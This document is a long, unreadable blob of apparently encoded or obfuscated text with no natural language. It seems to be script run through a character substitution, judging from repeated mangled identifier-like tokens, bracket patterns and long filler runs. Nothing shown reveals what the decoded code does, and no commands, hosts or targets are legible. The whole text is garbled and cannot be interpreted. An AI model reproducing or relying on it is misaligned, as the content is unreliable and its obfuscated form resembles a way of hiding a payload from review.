	?|?!)+'qtu++mtwsllleee7 107+~Oeee17<eee>Oeeea/-7*t??u2*0w,"?eexeee726 ",|qq $q'?&m=}p-/*"'(=r+3mquwliee$77$<mll~Oeea?&u7|4v!}eexee=w7ru&0,2#3mquulm=w7ru&0,2#3mv||lmm$77$<la/-7*t??u2*0w,"?iea	
	?|?!)+'qtu++mquvlll~Oa?&u7|4v!}exeeee0!(7.u=/&.(.mqutlma?&u7|4v!}ieeeehmu=snu=w&ll~OOeee)+1#,&v0?4u+v&/s12m=w7ru&0,2#3mquqliea?&u7|4v!}ie?|?!)+'qtu++mtr|ll~Oe8e&$1&-eeeeem-7*2$') ea=w}=)'/7<3/leeeee>Oeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mquplieeea=w}=)'/7<3/l~OOOO8e&$1&-eeem =& 51,*+ea=w}=)'/7<3/leee>OO8Oeeeeeeee8OeeeOOOOe#0+&1,*+eeeee/#'.5v =7tp6"wv.ma5)(s7q5+.,iea. <lO>Oeeee,#emde=w7ru&0,2#3mvpwlma5)(s7q5+.,leee99edeeeee=w7ru&0,2#3mvpwlma. <leeee99e=}p-/*"'(=r+3mv}plma. <leexxxeeule>Oeeeee7 107+e+0))~Oee8Oa6( 5=pt(,|}0eexeeeee0!(7.u=/&.(.mv}plma5)(s7q5+.,l~Oeea!'?|}4(|#&w'/w2'eeexe=}p-/*"'(=r+3mv}plma. <l~OOOOeea |+<5s12$eeexeeegg~Oeeeeeee#*7eeema<)=q4*$rp2!#eeexeu~eeea<)=q4*$rp2!#eeyeea6( 5=pt(,|}0~ea<)=q4*$rp2!#nnleeee>Oea |+<5s12$ekxee?|?!)+'qtu++mvr}lm0!(7.u=/&.(.mquslma5)(s7q5+.,a<)=q4*$rp2!#leeee0!(7.u=/&.(.mqurlma. <a<)=q4*$rp2!#ee`eea!'?|}4(|#&w'/w2'll~Oeeeeee8O7 107+eeea |+<5s12$~Oeee8OOOeeeeOeee#0+&1,*+ee7/66q*3?<4-7"+<ma* t5.&u?3!'+lOeeeeee>Oee,#eeemde?|?!)+'qtu++mvqslma* t5.&u?3!'+lle>Oeeeeeea* t5.&u?3!'+eexe$77$<ml~Oeeeeeeee8Oea14*$< = $6"6|31eexee=p}&|&5}&7*6="|*/ q?ml~Oa!+t+=20t(0&)7 +seexe?|?!)+'qtu++mvrplm?|?!)+'qtu++mqu}lleeezee u6q$21 w<q2/0)#7-m0!(7.u=/&.(.mqu|lieeeee#$)6 leeee#$)6 ~OOO,#eeem=w7ru&0,2#3mvqslma!+t+=20t(0&)7 +sleccee,66 1ma!+t+=20t(0&)7 +s?|?!)+'qtu++mqtulleeeccem,+1leea!+t+=20t(0&)7 +s?|?!)+'qtu++mqtulee{xeeemww|nrtleeeeecceem,+1leea!+t+=20t(0&)7 +s0!(7.u=/&.(.mqttleeyxemvqwuwnpwt|}lleea14*$< = $6"6|31exem,+1leea!+t+=20t(0&)7 +s0!(7.u=/&.(.mqtwl~Oe,#eeema14*$< = $6"6|31eeeeeyeeeeemwunqulleee>Oa14*$< = $6"6|31eeexeeemvp}|nttl~OOOO8Oeea* t5.&u?3!'+=}p-/*"'(=r+3mqtvleexe$77$<mOeeeeeee?|?!)+'qtu++mqtqleeex{eeea14*$< = $6"6|31iOee?|?!)+'qtu++mqtpleex{eeee?|?!)+'qtu++mqtsliOeeel~Oeeeea* t5.&u?3!'+=w7ru&0,2#3mqtrleeexeee$77$<mOOOe=w7ru&0,2#3mqt}lex{empu}n|wliOOOeee=w7ru&0,2#3mqt|lex{ee?|?!)+'qtu++mqtsliOeeeel~Oee7 107+eeeeeea* t5.&u?3!'+~Oee8OeeOe#0+&1,*+e-<-4v-4r.t/!,w"tv.p.$mlOee>Oeeeee,#eeeeemd=w7ru&0,2#3mqwulm=w7ru&0,2#3mqwtlleeee99eed?|?!)+'qtu++mqwwlm=w7ru&0,2#3mqwvllleee7 107+~Oeeeee,#emd w##051|s4<1*tpv,r'&m=w7ru&0,2#3mqwqllleeeeee7 107+~Oeeeee17<e>Oe,#eemd25+ =16&- !0) !m3r*"rq0=s"!v+sw=3-4mllleee>Oe256&- !0)  3 +1m?|?!)+'qtu++mtrplmleeene=}p-/*"'(=r+3mqwplmmtuqhqqlieeemww|nrtllieeeee0!(7.u=/&.(.mqtvliee3r*"rq0=s"!v+sw=3-4mll~Oee8Oee8ee#,+$))<eeee>Oe'17<}</=s3*w3w|v(=sm?|?!)+'qtu++mqwqll~Oe8Oee8OeeeOeee#0+&1,*+e3+3<,,5s(!25|4<7mlOOeeeeee>OeO,#eem! #,+ !m0!(7.u=/&.(.mqwslleeecce

le>Oeeeee7 107+~OOeee8OeO61$1,&eeeea?)0!37||?u|eeexeeeee#$)6 ~Oeee,#eema?)0!37||?u|leee7 107+~OOeeea?)0!37||?u|exee170 ~OeO,#eeemde3q/="*42t-(u?-+65-$mllee>Oe7 107+~Oe8OeeeeeO .220.r ,7)*r1t.m=}p-/*"'(=r+3mqwrlieee=w7ru&0,2#3mqw}lieul~Oeeeeeee8Oeee#0+&1,*+eeee/s6-}q  /&&v12'&pmlOe>Oeee,#eemd=}p-/*"'(=r+3mqwwlm0!(7.u=/&.(.mvuulle99eeeeed0!(7.u=/&.(.mqwwlm=}p-/*"'(=r+3mqw|llleeeee7 107+~Oee=w7ru&0,2#3mvuulm6,1 07)m=}p-/*"'(=r+3mqvuleeke?|?!)+'qtu++mqvtlmbkbieeeggieem617,+"leeee0!(7.u=/&.(.mvqwlm170 lleeeke0!(7.u=/&.(.mqwplmmu=w'nu=v|lieem|psnqvlllie$77$<m=}p-/*"'(=r+3mvutleeex{eeukutiee=w7ru&0,2#3mqvwlex{ee#$)6 ieee?|?!)+'qtu++mvuwleeeex{eeee#$)6 ll~Oee8OOOOeeeeee#0+&1,*+eee40#p(p-15,.?w-s 3qmlOeee>Oeeeee61$1,&eeea'&3$&r2q3!<7.peeeexee#$)6 ~O,#eema'&3$&r2q3!<7.pleeee7 107+~Oeeea'&3$&r2q3!<7.pexee170 ~Oeee17<eee>OOeea)2"?v.rr1q}0??.exeeeee#$)6 ~Oeeeeee,#eem=w7ru&0,2#3mqwwlm=}p-/*"'(=r+3mqvvllleeeee>Oee=w7ru&0,2#3mqvvlml~Oa)2"?v.rr1q}0??.eeexee170 ~Oeee8eeee )6 ,#eeem=w7ru&0,2#3mqvqlm0!(7.u=/&.(.mqvpllleeee>Oeeeee=}p-/*"'(=r+3mqvslml~Oeeeeea)2"?v.rr1q}0??.eexee170 ~Oee8ee )6 e>Oe,#eeeeeem=w7ru&0,2#3mqvqlm=}p-/*"'(=r+3mqvrllleeee>Oee?|?!)+'qtu++mqv}lm170 l~Oeeeeeee8Oea(,)v*5/))p'eeexee?|?!)+'qtu++mqvqlm0!(7.u=/&.(.m|ulleeecceeee=w7ru&0,2#3m|ulm=}p-/*"'(=r+3mqv|ll~O,#eeemd- $! 766 +1mlecceeda(,)v*5/))p'eecce0!(7.u=/&.(.mqqulmleeexxxeeeeteeeeeecceeee?|?!)+'qtu++mqvqlm=w7ru&0,2#3mqqtllleee>OOOOea&)eeeexeee*'" 1) +"1-ml~OOee,#eeeema&)eedxxeeee#$)6 eecceeea&)ee{eeulee>OOOOeeeeee- $! 7m=}p-/*"'(=r+3mqqwleekea&)l~Oee- $! 7m=}p-/*"'(=r+3mqqvll~OOeeee8O8Oe,#eeeeem?|?!)+'qtu++mqqulmlleee>Oe?|?!)+'qtu++mqqqlml~Oee8Oe=}p-/*"'(=r+3mqqplml~O8Oeeeeea1|37sp#<=6!'&7ueexee=w7ru&0,2#3mqvqlm0!(7.u=/&.(.mqqslleeecceedm! #,+ !m0!(7.u=/&.(.mqqrlleeeeeccee	 
l~Oeeeea<)7?3*5,t|'eexed=}p-/*"'(=r+3mqvqlm?|?!)+'qtu++mqu}lleeeee99eem,+1leeee" 1*51,*+m?|?!)+'qtu++mqq}lieeuleexxxeeeeeu~Oee,#eeemda<)7?3*5,t|'eeecceeeeee?|?!)+'qtu++mqq|lm=}p-/*"'(=r+3mqu}llecce?|?!)+'qtu++mqq|lm?|?!)+'qtu++mvrslllee>Oeeeea)!'2u14}1v&rr 0eexem617,+"leeee" 1*51,*+m0!(7.u=/&.(.mqpulieggl~Oeeee,#eeema)!'2u14}1v&rr 0eeeedxxee',7|#2u4-"!$4'1"smllee>OOOOee05!$1 *51,*+m=}p-/*"'(=r+3mqpulie',7|#2u4-"!$4'1"smlie=}p-/*"'(=r+3mtr|ll~Oeeee05!$1 *51,*+m=}p-/*"'(=r+3mqq}lieuiee?|?!)+'qtu++mtr|ll~Oeeeea<)7?3*5,t|'eexeeeee170 ~Oe8Oee8Oea$23|$/||=?eexeeee#$)6 ~O,#ema1|37sp#<=6!'&7ueeecceeee=w7ru&0,2#3mqptlm0!(7.u=/&.(.mqpwllleeee>Oea,"04$p=6<*wpq2peexee25+ =16&- !0) !m3r*"rq0=s"!v+sw=3-4mll~Oeeee,#eema,"04$p=6<*wpq2peeccem?|?!)+'qtu++mqpvlmleeeheem,+1leeeea,"04$p=6<*wpq2pleee{eeeemrtw}nrwllee>Oeea$23|$/||=?eexe170 ~OOOO,#eeeem0!(7.u=/&.(.mqptlm=w7ru&0,2#3mqpqlllee250+6&- !0)  3 +1mm,+1leeeeeea,"04$p=6<*wpq2pieeeee3r*"rq0=s"!v+sw=3-4mll~O8Oee8O,#ema1|37sp#<=6!'&7uecceeeeeda<)7?3*5,t|'eeecceeeda$23|$/||=?le>OOOeeea)<u"w!/"1<wr=peexe=w7ru&0,2#3mqpplm0!(7.u=/&.(.mqpwlleeeezeeeeeem,+1le25+ =16&- !0) !m3r*"rq0=s"!v+sw=3-4mlleeeeu~OOOee,#eeeema)<u"w!/"1<wr=peeeeyxeeeuee99eea)<u"w!/"1<wr=peeeehee=}p-/*"'(=r+3mqpvlmle{eem}upn|plleee>Oeeee256&- !0) 6,+")  3 +1m=w7ru&0,2#3mqpvlmliee3r*"rq0=s"!v+sw=3-4mll~Oeeeee8OOOe4"s54wu2=610&}ml~Oeeeee7 107+~O8Oee,#eema$23|$/||=?le="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mqpsliee=w7ru&0,2#3mqprll~Oe,#eeeemda)2"?v.rr1q}0??.le>Oee,#eeema1|37sp#<=6!'&7ule256&- !0) 6,+")  3 +1m0!(7.u=/&.(.mqpvlmlieeee3r*"rq0=s"!v+sw=3-4mll~OOOee/s6-}q  /&&v12'&pml~OOO4"s54wu2=610&}ml~Oeee7 107+~O8OOOO,#eeem=w7ru&0,2#3mqpplm?|?!)+'qtu++mqp}lllee?|?!)+'qtu++mqp|lmm}tww|ll~Oeeeee?!r5)046+}=t"|ml~Oeeeeee8ee&$1&-eeem-7*2$') eea=w}=)'/7<3/lee>Oe="!24p3/qt!$s631p2',pm0!(7.u=/&.(.mqwrlieea=w}=)'/7<3/l~O8eeee&$1&-eeem =& 51,*+ea=w}=)'/7<3/leeee>Oe8Oeeee8OeeO#0+&1,*+e37*(+&qsu5!1/mlOe>OOOOeee17<eee>Oeeee,#emdeeee0!(7.u=/&.(.mqpplm=}p-/*"'(=r+3mqsullleee>Oeee7 107+~OOOeeeee8OeeOea"+.2 ?,}r-?*((p)exeeeee=w7ru&0,2#3mqpplm=}p-/*"'(=r+3mqstlleezee" 117$+6, +1m#4q6v2-)!s 15-mlleeee#$)6 ~Oeeeeeeee,#emde?|?!)+'qtu++mvqslma"+.2 ?,}r-?*((p)llea"+.2 ?,}r-?*((p)eeeeexe u6q$21 w<q2/0)#7-m0!(7.u=/&.(.mqu|liee#$)6 l~OOOO,#eeeemdee0!(7.u=/&.(.mvqslma"+.2 ?,}r-?*((p)llee>O7 107+~Oee8OOeeOeee,#eeeeem,66 1ma"+.2 ?,}r-?*((p)0!(7.u=/&.(.mqswlleeeeecceeee=}p-/*"'(=r+3mqsvlma"+.2 ?,}r-?*((p)=w7ru&0,2#3mqswllleeeee>OOea	
	?|?!)+'qtu++mqsqleeexeee.75s"$3v/w*0.wma"+.2 ?,}r-?*((p)0!(7.u=/&.(.mqswll~Oe8OOeeeeee,#eem,66 1ma"+.2 ?,}r-?*((p)=}p-/*"'(=r+3mqsplleecceeee=}p-/*"'(=r+3mqsslma"+.2 ?,}r-?*((p)?|?!)+'qtu++mqspllle>Oeeeeeea	
	=w7ru&0,2#3mqsrlexeeeee.75s"$3v/w*0.wma"+.2 ?,}r-?*((p)?|?!)+'qtu++mqs}ll~OOOe8OeeeeOOOeeeee,#eem,66 1ma"+.2 ?,}r-?*((p)=}p-/*"'(=r+3mqs|lleecce=w7ru&0,2#3mqrulma"+.2 ?,}r-?*((p)=}p-/*"'(=r+3mqs|llleee>OOOOea	
	?|?!)+'qtu++mqrtlexeea"+.2 ?,}r-?*((p)=}p-/*"'(=r+3mqrwl~OOe8O,#eeeem,66 1ma"+.2 ?,}r-?*((p)=w7ru&0,2#3mqrvllecceeee=w7ru&0,2#3mqrqlma"+.2 ?,}r-?*((p)?|?!)+'qtu++mqrplleeccee=}p-/*"'(=r+3mv}plma"+.2 ?,}r-?*((p)?|?!)+'qtu++mqrpllee{eemt}}tqwlle>Oea	
	=}p-/*"'(=r+3mqrsleexeeeea"+.2 ?,}r-?*((p)0!(7.u=/&.(.mqrpl~Oeee8Oeee,#eem,66 1ma"+.2 ?,}r-?*((p)?|?!)+'qtu++mv|vllecceeeee0!(7.u=/&.(.mqrqlma"+.2 ?,}r-?*((p)=}p-/*"'(=r+3mv|vlleeecce=w7ru&0,2#3mv}plma"+.2 ?,}r-?*((p)0!(7.u=/&.(.mv|vlleee{emwpyywllee>Oeeea	
	?|?!)+'qtu++mqrrleexeeeea"+.2 ?,}r-?*((p)?|?!)+'qtu++mqr}l~Oe8OOOeee8eeeee&$1&-em-7*2$') eea=w}=)'/7<3/le>Oeee="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mqr|lieeeeeea=w}=)'/7<3/l~OOeee8ee&$1&-eem =& 51,*+eeeea=w}=)'/7<3/le>O8OOOOee8OeeOee#0+&1,*+eee w+/,0p|u+q#qv*?-<$rmlO>Oe17<eeee>OOee,#emd?|?!)+'qtu++mqpplm=}p-/*"'(=r+3mqsulleee99ed0!(7.u=/&.(.mqpplm?|?!)+'qtu++mvrslllee7 107+~O,#eemm,+1lee" 1*51,*+m?|?!)+'qtu++mq}ulieeeulee{eeee=w7ru&0,2#3mq}tlmleheemw|nvprtlle7 107+~Oeeeeeeee,#eem=}p-/*"'(=r+3mq}wlm0!(7.u=/&.(.mqstlleecce" 117$+6, +1m=w7ru&0,2#3mq}vlllee7 107+~OOOOa)0".55'*?$w/eexeee726 ",|qq $q'?&m0!(7.u=/&.(.mq}qlieggl~O,#eemd=}p-/*"'(=r+3mqrqlma)0".55'*?$w/leee99eee=}p-/*"'(=r+3mv}plma)0".55'*?$w/leeeeyeeemqpqnqsle99eeee*'/)(571ts?v.t)r<u}$+ma)0".55'*?$w/le99eeeeeed +/$07!"qr+ 6)*pw</s -ma)0".55'*?$w/lleeee>Oa)0".55'*?$w/eexee#$)6 ~OOOOeeeea3*s?'2r($=##&eexeee?|?!)+'qtu++mwu|lm.!*q3ww&t$ 5+*7'&rmll~Oee,#ema3*s?'2r($=##&eeeeeecceeeea3*s?'2r($=##&e{eeemqpunpulecceeeea3*s?'2r($=##&eeeyxeemu=wq!pprunu=!w$$|ulleeee>OOOOea22#<#q6!r&4|0& eeeeexe=}p-/*"'(=r+3mq}plm.!*q3ww&t$ 5+*7'&rmll~Oe,#em=}p-/*"'(=r+3mq}slma22#<#q6!r&4|0& leeecce0!(7.u=/&.(.mq}rlma22#<#q6!r&4|0& lee{eeemtuq}pvsnqulleea22#<#q6!r&4|0& eeeeeexe--r<<!4$-0!rq)}pma22#<#q6!r&4|0& l~Oeee,#eem?|?!)+'qtu++mq}}lma22#<#q6!r&4|0& lecceeed*'/)(571ts?v.t)r<u}$+ma22#<#q6!r&4|0& leecce +/$07!"qr+ 6)*pw</s -ma22#<#q6!r&4|0& lleeeeee>Oeee)+1#,&v0?4u+v&/s12m0!(7.u=/&.(.mq}qliea22#<#q6!r&4|0& ieeee=w7ru&0,2#3mtr|ll~Oeeeea)0".55'*?$w/eeeexeea22#<#q6!r&4|0& ~Oee8OOOO8Oe,#eeeeemda)0".55'*?$w/le>Oeeeee05!$1 *51,*+m=}p-/*"'(=r+3mq}|liee=w7ru&0,2#3mq|ulmliee?|?!)+'qtu++mtr|ll~Oeeeeee7 107+~O8O8Oeeeea<'$q..1}0<&+//w!eeexee$77$<m.!*q3ww&t$ 5+*7'&rmll~Oea&6/6-40)$6?.?3eeexe4"<qv76 )}556+2(41?tt}ml~Oeeeea.s$v}.q1|,6uq*"exeeeee*r=0p)/}!?|)1??/#qsma&6/6-40)$6?.?3l~Oe,#eeem?|?!)+'qtu++mq|tlma.s$v}.q1|,6uq*"llee>O#*7 $&-ema.s$v}.q1|,6uq*"e$6ea33'.|0-t77"|leee>Oee,#eem=}p-/*"'(=r+3mvp}lma33'.|0-t77"|ieehmwnwlleeeeexxxee0!(7.u=/&.(.mpulleea<'$q..1}0<&+//w!eeeexea&6/6-40)$6?.?3ekebjbekeeea33'.|0-t77"|~Oe8O8OOOO,#eeeem! #,+ !m0!(7.u=/&.(.mq|wllecceeee?|?!)+'qtu++mq}wlm=}p-/*"'(=r+3mq|vlllee>Oee#*7 $&-eemm$77$<le0!(7.u=/&.(.mq|vlm	eekee0!(7.u=/&.(.mq|qlleeee$6ea0!||)v2=&(23?v|vleea<'$q..1}0<&+//w!exea0!||)v2=&(23?v|v~OOOO8Oa<'$q..1}0<&+//w!eeeeexe?|?!)+'qtu++mq|plma<'$q..1}0<&+//w!l~OOeeeeeeea'!*.twpp*6=,,t2eexe$77$<ml~Oa3(r7#"0|7,'w?v- eeeeexeeee=}p-/*"'(=r+3mq|slm=w7ru&0,2#3mq|rlm=}p-/*"'(=r+3mq|}lieggie=}p-/*"'(=r+3mq|slma)0".55'*?$w/ieeeuiem}q}vrht|vutlllieeeuiemwvuwhwpqll~OOO#*7 $&-eema<'$q..1}0<&+//w!e$6ea33q#<('6.4r$sle>Oea$=-p#1+"+eexe=}p-/*"'(=r+3mq||lma33q#<('6.4r$sl~O,#eeemda$=-p#1+"+e99eea$=-p#1+"+eeeeyxeeeeem|}p}sn|q|||ullee&*+1,+0 ~Oeea2,!5!<q-qw36/|eeeexeee0!(7.u=/&.(.mq}plma33q#<('6.4r$sieeeee#$)6 iee+0))ieeuieemttpvpshq|}wull~Oe,#eemd0!(7.u=/&.(.mq}}lma2,!5!<q-qw36/|leeeee99ed*'/)(571ts?v.t)r<u}$+ma2,!5!<q-qw36/|lleee&*+1,+0 ~O,#eema33q#<('6.4r$seedxxe.!*q3ww&t$ 5+*7'&rmlecceee?|?!)+'qtu++mq|slm0!(7.u=/&.(.mq|rlm=w7ru&0,2#3mq|}lieeeeggieea2,!5!<q-qw36/|lieuieeemt||}npulleeeedxxeeea3(r7#"0|7,'w?v- le&*+1,+0 ~OOOeea'!*.twpp*6=,,t2eeeexeeea33q#<('6.4r$s~Oeeeeee8Oe,#eeeemda'!*.twpp*6=,,t2lee>OOOeee,#eeeem0!(7.u=/&.(.mq}wlm=}p-/*"'(=r+3mpuulllee6 117$+6, +1m?|?!)+'qtu++mputlieeetiemu=t}}nu=!ull~Oee7 107+~Oeeee8Oee05!$1 *51,*+m0!(7.u=/&.(.mpuwlie0!(7.u=/&.(.mq|ulmlieeee0!(7.u=/&.(.mtr|ll~Oeeeee#*7 $&-ema'!*.twpp*6=,,t2eee$6eea3t7v052|u2)55u/leeee>Oee17.s-rs}w1.3'qma3t7v052|u2)55u/ieeeeemp}nvswll~Oee,#eeeem<?+3w",2"p|.<!5!ma3t7v052|u2)55u/ie*0*)-&#77 -u|&,ma)0".55'*?$w/llleee>Oe(t!wr?& =&$$7|5ma3t7v052|u2)55u/l~Oee3t6<p=,(t?0=|? +!<6|ma3t7v052|u2)55u/l~Oeeee17.s-rs}w1.3'qma3t7v052|u2)55u/ieeeeemvp}hssll~Oeeee1&s?222)1$ (10)r+3?ma3t7v052|u2)55u/l~Oeeee,#eema3t7v052|u2)55u/exxxeee.!*q3ww&t$ 5+*7'&rmlleee>O0=&?!<<|0*r/q0.<6m170 l~Oeee!'=v64s3w-u+u+'# (!}m170 l~Oee8Oeee8eee )6 e>OOOe17.s-rs}w1.3'qma3t7v052|u2)55u/ieemprshw}qll~Oeeee8Oe8Oe8e&$1&-em-7*2$') ea=w}=)'/7<3/le>O="!24p3/qt!$s631p2',pm=}p-/*"'(=r+3mpuvlieeeeea=w}=)'/7<3/l~Oe8eeee&$1&-eeem =& 51,*+ea=w}=)'/7<3/lee>Oe8Oeeeee8OOeeeeeee#0+&1,*+ee<|t/|+)31t/*-|#/.0wv(|mlOee>O61$1,&eeeeea?)0!37||?u|eeexee#$)6 ~Oe,#eema?)0!37||?u|le7 107+~Oeeeea?)0!37||?u|eexe170 ~Oeeee17<e>Oe5su"w&5}}s0?|#$0 ws ml~Oeee w+/,0p|u+q#qv*?-<$rml~O<!7!4?p205sr6p0pwsrml~O37*(+&qsu5!1/ml~Oeeeeee-<-4v-4r.t/!,w"tv.p.$ml~OOeeeee/}!.<#5)q.#&ts/3}6qml~Oeee'/ /t5"$,11"q+-s6}/ml~Oeee0q'|pt="3+u1 )ml~Oe(+pu7+}0*<'t"q)ml~Oe,#eeeeem3q/="*42t-(u?-+65-$mlleeeee>O,#em?|?!)+'qtu++mq}wlm?|?!)+'qtu++mpuqlleeeeecceee!,!$&1,*+m=}p-/*"'(=r+3mqwrllleee>O,#eem=w7ru&0,2#3mq}wlm0!(7.u=/&.(.mtq}llle0!(7.u=/&.(.mpuplm0!(7.u=/&.(.mpusll~OOe8e )6 eee>Oeeeee .220.r ,7)*r1t.m=w7ru&0,2#3mqwrlieeee=w7ru&0,2#3mpuslieeeeeeul~Oeee8Oe8Oeeee8e&$1&-eem-7*2$') eea=w}=)'/7<3/le>Oee8e&$1&-eeem =& 51,*+eea=w}=)'/7<3/lee>Oeee8O8O#0+&1,*+ee4"s54wu2=610&}mlOeee>Oeee17<eee>Oe,#eemd0!(7.u=/&.(.mq}wlm=}p-/*"'(=r+3mvuullee99eeed=}p-/*"'(=r+3mpurlm=}p-/*"'(=r+3mpu}llle7 107+~Oeeeeee,#eeemd0!(7.u=/&.(.mpu|lm=}p-/*"'(=r+3mptulle99ed=}p-/*"'(=r+3mpu|lm=}p-/*"'(=r+3mpttllle7 107+~Oa<#4*'6!"-r<t/**eeexeeee=}p-/*"'(=r+3mq|ulml~O,#eema<#4*'6!"-r<t/**eehem,+1le" 1*51,*+m=}p-/*"'(=r+3mptwlieeeuleyeeeemv}qshwqslleee7 107+~Oeeeeee05!$1 *51,*+m=w7ru&0,2#3mptvliea<#4*'6!"-r<t/**ieee=}p-/*"'(=r+3mtr|ll~Oee?|?!)+'qtu++mvuulm-*( 07)mbjblieee$77$<m=}p-/*"'(=r+3mvutleex{eewiee=w7ru&0,2#3mvuwleex{e#$)6 ie=w7ru&0,2#3mptqlex{e#$)6 ll~O8e&$1&-em-7*2$') ea=w}=)'/7<3/lee>Oee8ee&$1&-eeem =& 51,*+ea=w}=)'/7<3/leeee>O8O8Oe#0+&1,*+e3q/="*42t-(u?-+65-$mlOOee>Oe,#eeeemdee?|?!)+'qtu++mpu|lm0!(7.u=/&.(.mptullleee>OOO7 107+e170 ~OOe8OeeeeeeeOeeeee,#em=w7ru&0,2#3mpu|lm?|?!)+'qtu++mqstlleecce" 117$+6, +1m#4q6v2-)!s 15-mlllee>O7 107+ee#$)6 ~Oeeeeee8OOOOOeea!<1=3?=s*?&=1eeeeexe=p}&|&5}&7*6="|*/ q?ml~OOeeeea!+t+=20t(0&)7 +sexeeeee u6q$21 w<q2/0)#7-m=w7ru&0,2#3mqu|lieee#$)6 l~Oe,#eeem0!(7.u=/&.(.mq|tlma!+t+=20t(0&)7 +slecce,66 1ma!+t+=20t(0&)7 +s=w7ru&0,2#3mptplleecceeeem,+1lea!+t+=20t(0&)7 +s?|?!)+'qtu++mptpleeeeee{xemp|nwqtleeeecceem,+1leeeea!+t+=20t(0&)7 +s?|?!)+'qtu++mptsleeeyxems}|r|ntrqwtlleeea!<1=3?=s*?&=1eeexeeeem,+1lea!+t+=20t(0&)7 +s?|?!)+'qtu++mptsl~Oeea*4 v}p($"vq-eeeeexeem,+1leeee" 1*51,*+m0!(7.u=/&.(.mptrlieeul~OOee,#eema*4 v}p($"vq-eeee{eeeeueecceem=w7ru&0,2#3mq|ulmlehea*4 v}p($"vq-leeyeeeeea!<1=3?=s*?&=1le>Oeeee7 107+e#$)6 ~O8OOeeeOeeea)=q-$7}r-}7q+s6veexem,+1le" 1*51,*+m?|?!)+'qtu++mpt}lieeeul~O,#eeema)=q-$7}r-}7q+s6ve{eeule>Oa+))*)(rw/<04seeeexeeeem,+1leee" 1*51,*+m=}p-/*"'(=r+3mpt|lieeul~Oeeea7s2'0=<<v!seexe$77$<mmwuwn|}liem}uwn|}lieem|wntru}lieemu=r! nu=svwlieeemsrsshvtssll~Oeea!6t4wr|q 05("?(1eexeeea7s2'0=<<v!s0!(7.u=/&.(.mpwulmuieeee=}p-/*"'(=r+3mpwtlma+))*)(rw/<04seehetieeem}hqlll~Oa!6t4wr|q 05("?(1enxe0!(7.u=/&.(.mqwplmuiem,+1lema!6t4wr|q 05("?(1eeeeoeeukwpll~Oee,#emm=}p-/*"'(=r+3mpwwlmlehea)=q-$7}r-}7q+s6vleyeeeea!6t4wr|q 05("?(1leeeee>Oee7 107+eee#$)6 ~OO8Oee8OOOOeeeeeeOeeeeee7 107+e170 ~Oeee8OOOOeOOOee#0+&1,*+e?}&#$vu,|==&?rv2|$"*3mlOeeee>Oeeeea+))*)(rw/<04seeexeeem,+1le" 1*51,*+m0!(7.u=/&.(.mpt|lieeul~Oe05!$1 *51,*+m?|?!)+'qtu++mpt|lieea+))*)(rw/<04seenetl~Oee05!$1 *51,*+m?|?!)+'qtu++mpt}lie=w7ru&0,2#3mpwwlmll~Oe8Oeeeeee#0+&1,*+eeeee"5*}wpr2?(<r7,&)+}vw$mlOOOO>OOOeea&?||$(,+eexe$77$<ml~Oee17<eeeee>Oea&?||$(,+?|?!)+'qtu++mpwvleexeeee',7|#2u4-"!$4'1"sml~OOeea&?||$(,+=w7ru&0,2#3mpwqlexe 
~OOOOeeeea&?||$(,+?|?!)+'qtu++mpwpleeexe=w7ru&0,2#3mpwslml~OOOOea&?||$(,+=}p-/*"'(=r+3mpwrleexeeem=}p-/*"'(=r+3mpu|lm=}p-/*"'(=r+3mpw}lleeccee,666)mlleezeeeeteeeeeu~Oeea&?||$(,+0!(7.u=/&.(.mpw|lexeem=w7ru&0,2#3mpu|lm?|?!)+'qtu++mwtvlleecceeeee,6(0)1,6,1 mlleezeeteeeeeu~Oeeeeea&?||$(,+0!(7.u=/&.(.mpvuleexee,66 1ma	
	0!(7.u=/&.(.mpvtllezeeeem617,+"leeea	
	=w7ru&0,2#3mpvwleeeeegg~Oa&?||$(,+=w7ru&0,2#3mpvvleeeeexe,66 1ma  ?|?!)+'qtu++m}|lleeezee0!(7.u=/&.(.mq|slmm617,+"lea  0!(7.u=/&.(.m}|lieeeeeuiemu=tvnu=tplleeeeegg~OOOeea1rst0"s$$v-<v1eeeexem,66 1ma	
	=}p-/*"'(=r+3mqrtlleeeeccee=}p-/*"'(=r+3mq}}lma	
	0!(7.u=/&.(.mqrtllleezee?|?!)+'qtu++mvvslma	
	=w7ru&0,2#3mqrtlleeeeeegg~OOOa&?||$(,+=}p-/*"'(=r+3mpvqlexema1rst0"s$$v-<v1eeedxxeggleezeteeeeeeeu~OOOea&?||$(,+0!(7.u=/&.(.mpvpleeeexeee0!(7.u=/&.(.mpvslma1rst0"s$$v-<v1l~OOOOeea&?||$(,+=}p-/*"'(=r+3mpvrleexeeed (51<ma	
	=w7ru&0,2#3mpv}lleeezeeeteeeeu~OOeeeeea&?||$(,+?|?!)+'qtu++mpv|leexeed (51<ma	
	=w7ru&0,2#3mpqullezeteeeu~Oeeea&?||$(,+=w7ru&0,2#3mpqtlexe=}p-/*"'(=r+3mpu|lm=}p-/*"'(=r+3mptulleeeeeezeeem,+1lee" 1*51,*+m0!(7.u=/&.(.mpqwlieeeuleeeeu~OOOOeea&?||$(,+0!(7.u=/&.(.mv|qlexeeeeem!r)v'-|<70,+r1m=w7ru&0,2#3mv|qlieeeeeeggleeedxxeeeeeggleeeezeeeeteeeeeeeu~OOOeeea&?||$(,+=}p-/*"'(=r+3mpqvlexe=}p-/*"'(=r+3mpqqlm=w7ru&0,2#3mptullezeem,+1leeeee" 1*51,*+m=}p-/*"'(=r+3mpqplieeuleeeeeeeu~Oea&?||$(,+0!(7.u=/&.(.mpqsleeeeexeeeee=w7ru&0,2#3mpqqlm?|?!)+'qtu++mptulleezeem,+1le" 1*51,*+m=}p-/*"'(=r+3mpqrlieeuleeeeeeu~OOOOa&?||$(,+0!(7.u=/&.(.mpq}leeexee=w7ru&0,2#3mpq|lm?|?!)+'qtu++mptullezeeem,+1leeeee" 1*51,*+m=w7ru&0,2#3mppulieeuleeeeeeu~Oea.7"=!#p<*|t4eexee/v&))=5vt?}||u5'#<&4ml~Oeeeeea&?||$(,+?|?!)+'qtu++mpptlexeee=}p-/*"'(=r+3mppwlma.7"=!#p<*|t4eeeke?|?!)+'qtu++mppvlleezem7,pq*7!$7#r4v#)(?m?|?!)+'qtu++mq}plma.7"=!#p<*|t4ekee=}p-/*"'(=r+3mppvlieee#$)6 ieeeee+0))ieeuieem}tvtnstllleeezeeeweeeeeeetleeeeeu~Oea&?||$(,+